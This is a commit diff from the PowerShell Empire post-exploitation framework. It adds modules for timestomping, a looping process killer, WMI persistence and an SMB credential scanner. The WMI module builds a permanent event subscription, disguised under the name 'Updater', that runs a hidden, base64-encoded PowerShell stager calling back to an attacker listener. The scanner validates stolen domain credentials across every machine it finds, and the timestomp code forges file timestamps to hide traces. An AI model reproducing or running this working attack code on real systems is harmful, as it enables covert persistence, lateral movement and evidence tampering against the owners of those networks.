Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner
Harmj0y
sixdub
parent
d9acb9aa02
commit
2b499a559c
|
|
@ -1,3 +1,7 @@
|
|||
8/15/2015
|
||||
---------
|
||||
-Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner
|
||||
|
||||
8/12/2015
|
||||
--------
|
||||
-Merged in list stale and remove stale functionality
|
||||
|
|
|
|||
|
|
@ -0,0 +1,108 @@
|
|||
function Set-MacAttribute {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Sets the modified, accessed and created (Mac) attributes for a file based on another file or input.
|
||||
|
||||
PowerSploit Function: Set-MacAttribute
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
Version: 1.0.0
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Set-MacAttribute sets one or more Mac attributes and returns the new attribute values of the file.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Set-MacAttribute -FilePath c:\test\newfile -OldFilePath c:\test\oldfile
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Set-MacAttribute -FilePath c:\demo\test.xt -All "01/03/2006 12:12 pm"
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Set-MacAttribute -FilePath c:\demo\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm"
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.obscuresec.com/2014/05/touch.html
|
||||
|
||||
#>
|
||||
[CmdletBinding(DefaultParameterSetName = 'Touch')]
|
||||
Param (
|
||||
|
||||
[Parameter(Position = 1,Mandatory = $True)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$FilePath,
|
||||
|
||||
[Parameter(ParameterSetName = 'Touch')]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$OldFilePath,
|
||||
|
||||
[Parameter(ParameterSetName = 'Individual')]
|
||||
[DateTime]
|
||||
$Modified,
|
||||
|
||||
[Parameter(ParameterSetName = 'Individual')]
|
||||
[DateTime]
|
||||
$Accessed,
|
||||
|
||||
[Parameter(ParameterSetName = 'Individual')]
|
||||
[DateTime]
|
||||
$Created,
|
||||
|
||||
[Parameter(ParameterSetName = 'All')]
|
||||
[DateTime]
|
||||
$AllMacAttributes
|
||||
)
|
||||
|
||||
Set-StrictMode -Version 2.0
|
||||
|
||||
#Helper function that returns an object with the MAC attributes of a file.
|
||||
function Get-MacAttribute {
|
||||
|
||||
param($OldFileName)
|
||||
|
||||
if (!(Test-Path $OldFileName)){Throw "File Not Found"}
|
||||
$FileInfoObject = (Get-Item $OldFileName)
|
||||
|
||||
$ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime);
|
||||
'Accessed' = ($FileInfoObject.LastAccessTime);
|
||||
'Created' = ($FileInfoObject.CreationTime)};
|
||||
$ResultObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
Return $ResultObject
|
||||
}
|
||||
|
||||
#test and set variables
|
||||
if (!(Test-Path $FilePath)){Throw "$FilePath not found"}
|
||||
|
||||
$FileInfoObject = (Get-Item $FilePath)
|
||||
|
||||
if ($PSBoundParameters['AllMacAttributes']){
|
||||
$Modified = $AllMacAttributes
|
||||
$Accessed = $AllMacAttributes
|
||||
$Created = $AllMacAttributes
|
||||
}
|
||||
|
||||
if ($PSBoundParameters['OldFilePath']){
|
||||
|
||||
if (!(Test-Path $OldFilePath)){Write-Error "$OldFilePath not found."}
|
||||
|
||||
$CopyFileMac = (Get-MacAttribute $OldFilePath)
|
||||
$Modified = $CopyFileMac.Modified
|
||||
$Accessed = $CopyFileMac.Accessed
|
||||
$Created = $CopyFileMac.Created
|
||||
}
|
||||
|
||||
if ($Modified) {$FileInfoObject.LastWriteTime = $Modified}
|
||||
if ($Accessed) {$FileInfoObject.LastAccessTime = $Accessed}
|
||||
if ($Created) {$FileInfoObject.CreationTime = $Created}
|
||||
|
||||
Return (Get-MacAttribute $FilePath)
|
||||
}
|
||||
|
|
@ -0,0 +1,129 @@
|
|||
function Invoke-SMBScanner {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Tests a username/password combination across a number of machines.
|
||||
If no machines are specified, the domain will be queries for active machines.
|
||||
For domain accounts, use the form DOMAIN\username for username specifications.
|
||||
|
||||
Author: Chris Campbell (@obscuresec), mods by @harmj0y
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
Version: 0.1.0
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Tests a username/password combination across a number of machines.
|
||||
If no machines are specified, the domain will be queries for active machines.
|
||||
For domain accounts, use the form DOMAIN\username for username specifications.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Invoke-SMBScanner -ComputerName WINDOWS4 -UserName test123 -Password password123456! -Domain
|
||||
|
||||
ComputerName Password Username
|
||||
---- -------- --------
|
||||
WINDOWS4 password123456! test123
|
||||
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-Content 'c:\demo\computers.txt' | Invoke-SMBScanner -UserName dev\\test -Password 'Passsword123456!'
|
||||
|
||||
ComputerName Password Username
|
||||
---- -------- --------
|
||||
WINDOWS3 password123456! dev\\test
|
||||
WINDOWS4 password123456! dev\\test
|
||||
|
||||
...
|
||||
|
||||
|
||||
.LINK
|
||||
|
||||
|
||||
#>
|
||||
|
||||
[CmdletBinding()] Param(
|
||||
[Parameter(Mandatory = $False,ValueFromPipeline=$True)]
|
||||
[String] $ComputerName,
|
||||
|
||||
[parameter(Mandatory = $True)]
|
||||
[String] $UserName,
|
||||
|
||||
[parameter(Mandatory = $True)]
|
||||
[String] $Password,
|
||||
|
||||
[parameter(Mandatory = $False)]
|
||||
[Switch] $NoPing
|
||||
)
|
||||
|
||||
Begin {
|
||||
Set-StrictMode -Version 2
|
||||
#try to load assembly
|
||||
Try {Add-Type -AssemblyName System.DirectoryServices.AccountManagement}
|
||||
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
|
||||
}
|
||||
|
||||
Process {
|
||||
|
||||
$ComputerNames = @()
|
||||
|
||||
# if no computer names are specified, try to query the current domain
|
||||
if(-not $ComputerName){
|
||||
Write-Verbose "Querying the domain for active machines."
|
||||
"Querying the domain for active machines."
|
||||
|
||||
$ComputerNames = [array] ([adsisearcher]'objectCategory=Computer').Findall() | ForEach {$_.properties.cn}
|
||||
|
||||
Write-Verbose "Retrived $($ComputerNames.Length) systems from the domain."
|
||||
}
|
||||
else {
|
||||
$ComputerNames = @($ComputerName)
|
||||
}
|
||||
|
||||
foreach ($Computer in $ComputerNames){
|
||||
|
||||
Try {
|
||||
|
||||
Write-Verbose "Checking: $Computer"
|
||||
|
||||
$up = $true
|
||||
if(-not $NoPing){
|
||||
$up = Test-Connection -count 1 -Quiet -ComputerName $Computer
|
||||
}
|
||||
if($up){
|
||||
|
||||
if ($Username.contains("\\")) {
|
||||
# if there's a \ in the username, assume we're checking a domain account
|
||||
$ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain
|
||||
}
|
||||
else{
|
||||
# otherwise assume a local account
|
||||
$ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Machine
|
||||
}
|
||||
|
||||
$PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ContextType, $Computer)
|
||||
|
||||
$Valid = $PrincipalContext.ValidateCredentials($Username, $Password).ToString()
|
||||
|
||||
If ($Valid) {
|
||||
Write-Verbose "SUCCESS: $Username works with $Password on $Computer"
|
||||
|
||||
$out = new-object psobject
|
||||
$out | add-member Noteproperty 'ComputerName' $Computer
|
||||
$out | add-member Noteproperty 'Username' $Username
|
||||
$out | add-member Noteproperty 'Password' $Password
|
||||
$out
|
||||
}
|
||||
|
||||
Else {
|
||||
Write-Verbose "FAILURE: $Username did not work with $Password on $ComputerName"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Catch {Write-Error $($Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage)}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -9,7 +9,7 @@ menu loops.
|
|||
"""
|
||||
|
||||
# make version for Empire
|
||||
VERSION = "1.0.0"
|
||||
VERSION = "1.1"
|
||||
|
||||
|
||||
from pydispatch import dispatcher
|
||||
|
|
@ -976,7 +976,6 @@ class AgentsMenu(cmd.Cmd):
|
|||
print helpers.color("[!] Please enter the minute window for agent checkin.")
|
||||
|
||||
else:
|
||||
print "agent name!"
|
||||
# extract the sessionID and clear the agent tasking
|
||||
sessionID = self.mainMenu.agents.get_agent_id(name)
|
||||
|
||||
|
|
@ -1061,7 +1060,6 @@ class AgentsMenu(cmd.Cmd):
|
|||
"Tab-complete a clear command"
|
||||
|
||||
names = self.mainMenu.agents.get_agent_names() + ["all"]
|
||||
|
||||
mline = line.partition(' ')[2]
|
||||
offs = len(mline) - len(text)
|
||||
return [s[offs:] for s in names if s.startswith(mline)]
|
||||
|
|
@ -1070,7 +1068,10 @@ class AgentsMenu(cmd.Cmd):
|
|||
def complete_remove(self, text, line, begidx, endidx):
|
||||
"Tab-complete a remove command"
|
||||
|
||||
return self.complete_clear(text, line, begidx, endidx)
|
||||
names = self.mainMenu.agents.get_agent_names() + ["all", "stale"]
|
||||
mline = line.partition(' ')[2]
|
||||
offs = len(mline) - len(text)
|
||||
return [s[offs:] for s in names if s.startswith(mline)]
|
||||
|
||||
|
||||
def complete_kill(self, text, line, begidx, endidx):
|
||||
|
|
@ -1084,11 +1085,13 @@ class AgentsMenu(cmd.Cmd):
|
|||
|
||||
return self.complete_clear(text, line, begidx, endidx)
|
||||
|
||||
|
||||
def complete_lostlimit(self, text, line, begidx, endidx):
|
||||
"Tab-complete a lostlimit command"
|
||||
|
||||
return self.complete_clear(text, line, begidx, endidx)
|
||||
|
||||
|
||||
def complete_killdate(self, text, line, begidx, endidx):
|
||||
"Tab-complete a killdate command"
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,107 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Timestomp',
|
||||
|
||||
'Author': ['@obscuresec'],
|
||||
|
||||
'Description': ('Executes time-stomp like functionality by '
|
||||
'invoking Set-MacAttribute.'),
|
||||
|
||||
'Background' : False,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'http://obscuresecurity.blogspot.com/2014/05/touch.html'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'FilePath' : {
|
||||
'Description' : 'File path to modify.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'OldFile' : {
|
||||
'Description' : 'Old file path to clone MAC from.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Modified' : {
|
||||
'Description' : 'Set modified time (01/03/2006 12:12 pm).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Accessed' : {
|
||||
'Description' : 'Set accessed time (01/03/2006 12:12 pm).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Created' : {
|
||||
'Description' : 'Set created time (01/03/2006 12:12 pm).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'All' : {
|
||||
'Description' : 'Set all MAC attributes to value (01/03/2006 12:12 pm).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/management/Set-MacAttribute.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
|
||||
script += "\nSet-MacAttribute"
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
script += " -" + str(option) + " \"" + str(values['Value']) + "\""
|
||||
|
||||
script += "| Out-String"
|
||||
|
||||
return script
|
||||
|
|
@ -0,0 +1,199 @@
|
|||
import os
|
||||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-WMI',
|
||||
|
||||
'Author': ['@mattifestation', '@harmj0y'],
|
||||
|
||||
'Description': ('Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'),
|
||||
|
||||
'Background' : False,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : True,
|
||||
|
||||
'OpsecSafe' : False,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to use.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DailyTime' : {
|
||||
'Description' : 'Daily time to trigger the script (HH:mm).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'AtStartup' : {
|
||||
'Description' : 'Switch. Trigger script (within 5 minutes) of system startup.',
|
||||
'Required' : False,
|
||||
'Value' : 'True'
|
||||
},
|
||||
'SubName' : {
|
||||
'Description' : 'Name to use for the event subscription.',
|
||||
'Required' : True,
|
||||
'Value' : 'Updater'
|
||||
},
|
||||
'ExtFile' : {
|
||||
'Description' : 'Use an external file for the payload instead of a stager.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Cleanup' : {
|
||||
'Description' : 'Switch. Cleanup the trigger and any script from specified location.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'Proxy' : {
|
||||
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'ProxyCreds' : {
|
||||
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
listenerName = self.options['Listener']['Value']
|
||||
|
||||
# trigger options
|
||||
dailyTime = self.options['DailyTime']['Value']
|
||||
atStartup = self.options['AtStartup']['Value']
|
||||
subName = self.options['SubName']['Value']
|
||||
|
||||
# management options
|
||||
extFile = self.options['ExtFile']['Value']
|
||||
cleanup = self.options['Cleanup']['Value']
|
||||
|
||||
# staging options
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
proxy = self.options['Proxy']['Value']
|
||||
proxyCreds = self.options['ProxyCreds']['Value']
|
||||
|
||||
statusMsg = ""
|
||||
locationString = ""
|
||||
|
||||
if cleanup.lower() == 'true':
|
||||
# commands to remove the WMI filter and subscription
|
||||
script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;"
|
||||
script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;"
|
||||
script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
|
||||
script += "'WMI persistence removed.'"
|
||||
|
||||
return script
|
||||
|
||||
if extFile != '':
|
||||
# read in an external file as the payload and build a
|
||||
# base64 encoded version as encScript
|
||||
if os.path.exists(extFile):
|
||||
f = open(extFile, 'r')
|
||||
fileData = f.read()
|
||||
f.close()
|
||||
|
||||
# unicode-base64 encode the script for -enc launching
|
||||
encScript = helpers.enc_powershell(fileData)
|
||||
statusMsg += "using external file " + extFile
|
||||
|
||||
else:
|
||||
print helpers.color("[!] File does not exist: " + extFile)
|
||||
return ""
|
||||
|
||||
else:
|
||||
if listenerName == "":
|
||||
print helpers.color("[!] Either an ExtFile or a Listener must be specified")
|
||||
return ""
|
||||
|
||||
# if an external file isn't specified, use a listener
|
||||
elif not self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||
# not a valid listener, return nothing for the script
|
||||
print helpers.color("[!] Invalid listener: " + listenerName)
|
||||
return ""
|
||||
|
||||
else:
|
||||
# generate the PowerShell one-liner with all of the proper options set
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
||||
|
||||
encScript = launcher.split(" ")[-1]
|
||||
statusMsg += "using listener " + listenerName
|
||||
|
||||
# sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
|
||||
if len(encScript) > 8190:
|
||||
print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.")
|
||||
return ""
|
||||
|
||||
# built the command that will be triggered
|
||||
triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript
|
||||
|
||||
if dailyTime != '':
|
||||
|
||||
parts = dailyTime.split(":")
|
||||
|
||||
if len(parts) < 2:
|
||||
print helpers.color("[!] Please use HH:mm format for DailyTime")
|
||||
return ""
|
||||
|
||||
hour = parts[0]
|
||||
minutes = parts[1]
|
||||
|
||||
# create the WMI event filter for a system time
|
||||
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
|
||||
statusMsg += " WMI subscription daily trigger at " + dailyTime + "."
|
||||
|
||||
else:
|
||||
# create the WMI event filter for OnStartup
|
||||
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
|
||||
statusMsg += " with OnStartup WMI subsubscription trigger."
|
||||
|
||||
|
||||
# add in the event consumer to launch the encrypted script contents
|
||||
script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"
|
||||
|
||||
# bind the filter and event consumer together
|
||||
script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"
|
||||
|
||||
|
||||
script += "'WMI persistence established "+statusMsg+"'"
|
||||
|
||||
return script
|
||||
|
|
@ -0,0 +1,132 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-SMBScanner',
|
||||
|
||||
'Author': ['@obscuresec', '@harmj0y'],
|
||||
|
||||
'Description': ('Tests a username/password combination across a number of machines.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : False,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://gist.github.com/obscuresec/df5f652c7e7088e2412c'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'CredID' : {
|
||||
'Description' : 'CredID from the store to use.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ComputerName' : {
|
||||
'Description' : 'Comma-separated hostnames to try username/password combinations against. Otherwise enumerate the domain for machines.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Password' : {
|
||||
'Description' : 'Password to test.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserName' : {
|
||||
'Description' : '[domain\]username to test.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : 'Switch. Don\'t ping hosts before enumeration.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-SmbScanner.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode + "\n"
|
||||
|
||||
# if a credential ID is specified, try to parse
|
||||
credID = self.options["CredID"]['Value']
|
||||
if credID != "":
|
||||
|
||||
if not self.mainMenu.credentials.is_credential_valid(credID):
|
||||
print helpers.color("[!] CredID is invalid!")
|
||||
return ""
|
||||
|
||||
(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
|
||||
|
||||
if domainName != "":
|
||||
self.options["UserName"]['Value'] = str(domainName) + "\\" + str(userName)
|
||||
else:
|
||||
self.options["UserName"]['Value'] = str(userName)
|
||||
if password != "":
|
||||
self.options["Password"]['Value'] = password
|
||||
|
||||
|
||||
if self.options["UserName"]['Value'] == "" or self.options["Password"]['Value'] == "":
|
||||
print helpers.color("[!] Username and password must be specified.")
|
||||
|
||||
|
||||
if (self.options['ComputerName']['Value'] != ''):
|
||||
usernames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\""
|
||||
script += usernames + " | "
|
||||
|
||||
script += "Invoke-SMBScanner "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent" and option.lower() != "computername" and option.lower() != "credid":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " '" + str(values['Value']) + "'"
|
||||
|
||||
script += "| Out-String | %{$_ + \"`n\"};"
|
||||
script += "'Invoke-SMBScanner completed'"
|
||||
|
||||
return script
|
||||
|
|
@ -0,0 +1,111 @@
|
|||
import base64
|
||||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-ProcessKiller',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ("Kills any process starting with a particular name."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : False,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [ ]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'ProcessName' : {
|
||||
'Description' : 'Process name to kill on starting (wildcards accepted).',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Sleep' : {
|
||||
'Description' : 'Time to sleep between checks.',
|
||||
'Required' : True,
|
||||
'Value' : '1'
|
||||
},
|
||||
'Silent' : {
|
||||
'Description' : "Switch. Don't output kill messages.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
script = """
|
||||
function Invoke-ProcessKiller {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter(Mandatory = $True, Position = 0)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$ProcessName,
|
||||
|
||||
[Parameter(Position = 1)]
|
||||
[Int]
|
||||
$Sleep = 1,
|
||||
|
||||
[Parameter(Position = 2)]
|
||||
[Switch]
|
||||
$Silent
|
||||
)
|
||||
|
||||
"Invoke-ProcessKiller monitoring for $ProcessName every $Sleep seconds"
|
||||
|
||||
while($true){
|
||||
Start-Sleep $Sleep
|
||||
|
||||
Get-Process $ProcessName | % {
|
||||
if (-not $Silent) {
|
||||
"`n$ProcessName process started, killing..."
|
||||
}
|
||||
Stop-Process $_.Id -Force
|
||||
}
|
||||
}
|
||||
}
|
||||
Invoke-ProcessKiller"""
|
||||
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
|
||||
return script
|
||||
Loading…
Reference in New Issue